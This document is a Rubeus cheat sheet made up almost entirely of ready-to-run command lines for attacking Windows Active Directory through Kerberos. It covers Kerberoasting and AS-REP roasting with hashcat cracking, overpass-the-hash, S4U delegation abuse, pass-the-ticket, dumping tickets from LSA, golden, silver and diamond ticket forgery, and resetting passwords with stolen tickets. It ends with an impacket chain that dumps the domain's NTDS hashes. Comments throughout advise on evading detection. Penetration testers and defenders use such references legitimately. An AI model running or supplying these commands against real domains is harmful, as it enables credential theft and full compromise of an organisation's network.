The Rubeus cheat sheet covers C# Kerberos abuse - ticket requests (asktgt/asktgs), Kerberoasting, AS-REP roasting, S4U constrained delegation, pass-the-ticket, ticket harvesting (triage/dump/monitor), golden/silver forgery, key computation and sacrificial logon sessions.
# Compile from source (Visual Studio / msbuild, .NET 3.5+ or 4.x)
git clone https://github.com/GhostPack/Rubeus
# Open Rubeus.sln -> Build Release
# Or from command line:
msbuild Rubeus.sln /p:Configuration=Release
# Run - list all commands
Rubeus.exe
# Detailed help for a command
Rubeus.exe asktgt
# Most output tickets are base64-encoded .kirbi blobs.
# /nowrap keeps the base64 on a single line (easier to copy/paste)
Rubeus.exe asktgt /user:svc /rc4:HASH /nowrap
| Command | Purpose |
|---|---|
asktgt |
|
asktgs |
|
kerberoast |
|
asreproast |
|
s4u |
|
ptt |
|
tgtdeleg |
|
renew |
Renew a TGT before expiry |
describe |
Parse/inspect a .kirbi or base64 ticket |
triage / dump |
|
monitor / harvest |
|
golden / silver |
|
changepw |
Change/reset a password over Kerberos (kpasswd) |
hash |
Compute Kerberos keys from a password |
createnetonly |
Spawn a sacrificial NEW_CREDENTIALS logon session |
# Request TGT with plaintext password
Rubeus.exe asktgt /user:svc_sql /password:Passw0rd! /domain:corp.local
# Overpass-the-Hash - request TGT using an RC4 (NTLM) hash
Rubeus.exe asktgt /user:svc_sql /rc4:2b576acbe6bcfda7294d6bd18041b8fe /nowrap
# Same, but with an AES256 key (avoids RC4 downgrade / more OPSEC-safe)
Rubeus.exe asktgt /user:svc_sql /aes256:5c1... /opsec /nowrap
# Request AND inject the TGT into the current logon session (pass-the-ticket)
Rubeus.exe asktgt /user:administrator /rc4:HASH /ptt
# Request TGT and drop into a NEW sacrificial process (needs elevation)
Rubeus.exe asktgt /user:administrator /aes256:KEY /createnetonly:C:\Windows\System32\cmd.exe /show
# Target a specific DC, request a specific enctype
Rubeus.exe asktgt /user:svc /rc4:HASH /dc:dc01.corp.local /enctype:aes256 /nowrap
| Flag | Effect |
|---|---|
/user: |
|
/password: |
Plaintext password |
/rc4: /aes256: /aes128: /des: |
Secret key (hash) by enctype |
/ptt |
|
/nowrap |
|
/opsec |
Send a more realistic AS-REQ (skip preauthless probe) |
/domain: /dc: |
Target domain / specific KDC |
/enctype: |
Force rc4 / aes128 / aes256 |
/createnetonly: |
Spawn hidden process to receive the ticket |
# Use an existing TGT (base64) to request a TGS for a target SPN
Rubeus.exe asktgs /ticket:doIF...base64TGT... /service:cifs/fileserver.corp.local /nowrap
# Request and inject the TGS directly
Rubeus.exe asktgs /ticket:TGT.kirbi /service:cifs/srv01.corp.local /ptt
# Multiple SPNs at once (comma-separated)
Rubeus.exe asktgs /ticket:TGT /service:cifs/srv01,host/srv01,ldap/dc01 /dc:dc01.corp.local
# Request an alternate enctype ticket (e.g. for downgrade)
Rubeus.exe asktgs /ticket:TGT /service:http/web01 /enctype:rc4 /nowrap
# Roast every kerberoastable account in the domain (hashcat format)
Rubeus.exe kerberoast /format:hashcat /outfile:hashes.txt
# Roast a single target user
Rubeus.exe kerberoast /user:svc_sql /nowrap
# OPSEC: only roast RC4-supporting accounts, skip AES-only (fewer 4769 anomalies)
Rubeus.exe kerberoast /rc4opsec /outfile:hashes.txt
# /tgtdeleg - roast without needing your own creds re-sent; uses GSS delegation
# to obtain a TGT, letting you request RC4 tickets even in AES-only environments
Rubeus.exe kerberoast /tgtdeleg /nowrap
# Roast a specific SPN string (no LDAP account lookup)
Rubeus.exe kerberoast /spn:MSSQLSvc/sql01.corp.local:1433 /nowrap
# Roast using alternate creds (roast from a non-domain-joined context)
Rubeus.exe kerberoast /creduser:corp.local\lowpriv /credpassword:Passw0rd! /outfile:hashes.txt
# Only accounts whose PW hasn't changed recently, print stats first
Rubeus.exe kerberoast /stats
Rubeus.exe kerberoast /pwdsetbefore:01-01-2024 /resultlimit:20 /nowrap
| Flag | Effect |
|---|---|
/format:hashcat |
hashcat -m 13100 |
/format:john |
Output for John the Ripper |
/nowrap |
Single-line hash (no wrapping) |
/tgtdeleg |
|
/rc4opsec |
|
/aes |
Include/allow AES ticket roasting |
/stats |
Only print roastable stats, don't roast |
/ldapfilter: |
Custom LDAP filter for target selection |
/ou: |
Restrict to an Organizational Unit |
# Crack the resulting TGS-REP hashes
hashcat -m 13100 hashes.txt rockyou.txt # RC4 (etype 23)
hashcat -m 19600 hashes.txt rockyou.txt # AES128 (etype 17)
hashcat -m 19700 hashes.txt rockyou.txt # AES256 (etype 18)
# Roast all accounts with "Do not require Kerberos preauthentication" set
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
# Roast a single known-vulnerable user
Rubeus.exe asreproast /user:jdoe /format:hashcat /nowrap
# Target a specific DC / domain
Rubeus.exe asreproast /user:jdoe /domain:corp.local /dc:dc01.corp.local /nowrap
# Crack AS-REP hashes (etype 23 RC4)
hashcat -m 18200 asrep.txt rockyou.txt
| Point | Detail |
|---|---|
| Target flag | |
| No creds needed | |
/format:john |
$krb5asrep$23$ |
| Enum first | Find targets via LDAP (userAccountControl:4194304) |
# Classic: service account with constrained delegation to a target SPN.
# Impersonate a privileged user to that service, then inject the ticket.
Rubeus.exe s4u /user:websvc$ /rc4:MACHINE_HASH \
/impersonateuser:administrator \
/msdsspn:cifs/fileserver.corp.local /ptt
# Using an AES256 key instead of RC4
Rubeus.exe s4u /user:websvc$ /aes256:KEY \
/impersonateuser:administrator \
/msdsspn:cifs/fileserver.corp.local /nowrap
# Alternate service substitution - request one SPN, rewrite it to another
# (delegation is per-SPN but the sname isn't validated in the TGS)
Rubeus.exe s4u /user:websvc$ /rc4:HASH \
/impersonateuser:administrator \
/msdsspn:cifs/fileserver.corp.local \
/altservice:host,http,ldap,rpcss,cifs /ptt
# Two-stage: supply an existing TGT (e.g. from tgtdeleg) instead of a key
Rubeus.exe s4u /ticket:BASE64_TGT \
/impersonateuser:administrator \
/msdsspn:cifs/fileserver.corp.local /ptt
# RBCD flavour: /self makes S4U2self issue a ticket to ourselves first
Rubeus.exe s4u /user:FAKE01$ /aes256:KEY /impersonateuser:administrator \
/msdsspn:cifs/victim.corp.local /altservice:cifs /self /ptt
| Flag | Effect |
|---|---|
/user: |
$) |
/impersonateuser: |
|
/msdsspn: |
Target SPN from msDS-AllowedToDelegateTo |
/altservice: |
|
/self |
S4U2self only - used for RBCD chains |
/ticket: |
Use a supplied TGT instead of /rc4+/aes256 |
/ptt |
Inject the final S4U2proxy ticket |
# Inject a base64 ticket into the CURRENT logon session
Rubeus.exe ptt /ticket:doIF...base64...
# Inject a ticket from a .kirbi file on disk
Rubeus.exe ptt /ticket:C:\temp\admin.kirbi
# Inject into a specific logon session (elevated - target other users)
Rubeus.exe ptt /ticket:BASE64 /luid:0x3e7
# tgtdeleg - abuse the Kerberos GSS-API delegation to get a usable TGT
# for the CURRENT user WITHOUT elevation (no LSASS touch)
Rubeus.exe tgtdeleg /nowrap
# Renew a TGT before it expires (returns a fresh ticket)
Rubeus.exe renew /ticket:BASE64 /ptt
# Auto-renew a TGT in the background until its renew-until limit
Rubeus.exe renew /ticket:BASE64 /autorenew
# Purge tickets from the current logon session
Rubeus.exe purge
Rubeus.exe purge /luid:0x3e7 # specific session (elevated)
# Decode and describe a ticket (enctype, flags, validity, groups if PAC)
Rubeus.exe describe /ticket:doIF...base64...
Rubeus.exe describe /ticket:C:\temp\ticket.kirbi
# Fields shown: UserName, Realm, ServiceName, StartTime, EndTime,
# RenewTill, Flags (forwardable/renewable/...), KeyType, Base64EncodedTicket
# triage - compact table of ALL cached tickets (LUID, user, service, end time)
# Elevate to see other users' sessions; unelevated shows only your own
Rubeus.exe triage
# Filter triage output
Rubeus.exe triage /luid:0x3e7
Rubeus.exe triage /user:administrator
Rubeus.exe triage /service:krbtgt
# dump - extract full base64 tickets from the LSA cache (needs elevation
# to dump sessions other than your own)
Rubeus.exe dump /nowrap
Rubeus.exe dump /luid:0x3e7 /service:krbtgt /nowrap # just the TGT of a session
Rubeus.exe dump /user:administrator /nowrap
# monitor - poll for NEW TGTs on an interval (great for coercion/relay setups)
Rubeus.exe monitor /interval:5 /nowrap
Rubeus.exe monitor /interval:10 /filteruser:dc01$ # only capture DC$ TGTs
# harvest - like monitor but auto-renews collected TGTs to keep them alive
Rubeus.exe harvest /interval:30
| Command | Needs Admin | Use Case |
|---|---|---|
triage |
Quick inventory of cached tickets | |
dump |
Pull full base64 TGT/TGS for reuse | |
monitor |
Capture TGTs as users/DCs authenticate | |
harvest |
Long-run collection + keep TGTs renewed |
# Golden ticket: forge a TGT signed with the krbtgt account key.
# Needs the krbtgt hash/key + domain SID.
Rubeus.exe golden /rc4:KRBTGT_RC4_HASH \
/user:administrator /id:500 \
/domain:corp.local /sid:S-1-5-21-1111111111-2222222222-3333333333 /ptt
# Prefer AES256 (RC4 golden tickets are increasingly flagged)
Rubeus.exe golden /aes256:KRBTGT_AES256_KEY \
/user:administrator /id:500 \
/domain:corp.local /sid:S-1-5-21-...-... \
/groups:512,513,518,519,520 /ptt
# Control ticket lifetime / renew window
Rubeus.exe golden /aes256:KEY /user:administrator /domain:corp.local /sid:S-1-5-21-... \
/startoffset:0 /endin:600 /renewmax:10080 /nowrap
# "Diamond"-style: modern Rubeus can request a real TGT then re-sign the PAC
# with the krbtgt key (blends into legit traffic better than a full forge)
Rubeus.exe diamond /krbkey:KRBTGT_AES256_KEY \
/user:lowpriv /password:Passw0rd! /enctype:aes \
/ticketuser:administrator /ticketuserid:500 /groups:512 /ptt
# Silver ticket: forge a service ticket signed with the SERVICE account's key
# (machine account hash for host/cifs, or the svc account for other SPNs).
# No DC contact needed - stealthier, but scoped to one service on one host.
Rubeus.exe silver /service:cifs/fileserver.corp.local \
/rc4:MACHINE_ACCOUNT_HASH \
/user:administrator /id:500 \
/domain:corp.local /sid:S-1-5-21-...-... /ptt
# AES key variant
Rubeus.exe silver /service:host/srv01.corp.local \
/aes256:MACHINE_AES256_KEY \
/user:administrator /domain:corp.local /sid:S-1-5-21-... /ptt
| Item | Golden (TGT) | Silver (TGS) |
|---|---|---|
| Signing key | ||
| Scope | Single service on single host | |
| DC contact | Only when using the ticket | |
| Key flags | /rc4: or /aes256: |
/rc4: or /aes256: |
| Common groups | 512 DA, 513 Users, 518 Schema, 519 Ent, 520 GPO |
n/a |
# Compute RC4/AES128/AES256/DES keys from a plaintext password.
# For AES/DES keys the salt (domain + username) matters - supply /user + /domain.
Rubeus.exe hash /password:Passw0rd! /user:svc_sql /domain:corp.local
# RC4 (== NTLM hash) needs no salt
Rubeus.exe hash /password:Passw0rd!
# Machine account salt uses the FQDN host form:
# host<hostname>.<domain> - Rubeus builds it from /user:MACHINE$ /domain:
Rubeus.exe hash /password:MachinePass /user:SRV01$ /domain:corp.local
# Reset a password over Kerberos (kpasswd) using a TGT for the target.
# Common with Shadow Credentials / a recovered TGT to set a known password.
Rubeus.exe changepw /ticket:BASE64_TGT /new:NewPassw0rd123!
# Full chain: get a TGT for the victim, then reset its password
Rubeus.exe asktgt /user:victim /rc4:HASH /nowrap # or from PKINIT/shadow creds
Rubeus.exe changepw /ticket:doIF...victimTGT... /new:NewPassw0rd123!
# Create a hidden logon session (LOGON32_LOGON_NEW_CREDENTIALS, type 9) so
# injected tickets don't clobber your real TGT. Returns the new LUID.
Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
Rubeus.exe createnetonly /program:powershell.exe /show # show the window
# Set fake identity on the new session (cosmetic - used with /ptt after)
Rubeus.exe createnetonly /program:cmd.exe /username:admin /domain:corp.local /password:x /show
# Typical pattern: spawn session -> asktgt into it -> use that process
Rubeus.exe asktgt /user:administrator /aes256:KEY \
/createnetonly:C:\Windows\System32\cmd.exe /show /ptt
# Rubeus emits base64 .kirbi. Save it back to a binary .kirbi file:
[IO.File]::WriteAllBytes("ticket.kirbi",[Convert]::FromBase64String("doIF...base64..."))
# Re-inject a base64 ticket later
Rubeus.exe ptt /ticket:doIF...base64...
# On Linux: convert a Windows .kirbi into a ccache for impacket / nxc
impacket-ticketConverter ticket.kirbi ticket.ccache
export KRB5CCNAME=$PWD/ticket.ccache
# Use the ccache
impacket-secretsdump -k -no-pass corp.local/[email protected]
nxc smb dc01.corp.local --use-kcache --ntds
# Convert the other way (ccache -> kirbi for Rubeus /ptt)
impacket-ticketConverter ticket.ccache ticket.kirbi
| Tip | Why |
|---|---|
Always add /nowrap |
|
Prefer /aes256: over /rc4: |
|
Use createnetonly before ptt |
|
describe before reusing |
Check EndTime/RenewTill so you don't inject a dead ticket |
| Machine account hash | Enables silver tickets for cifs/host/ldap on that host |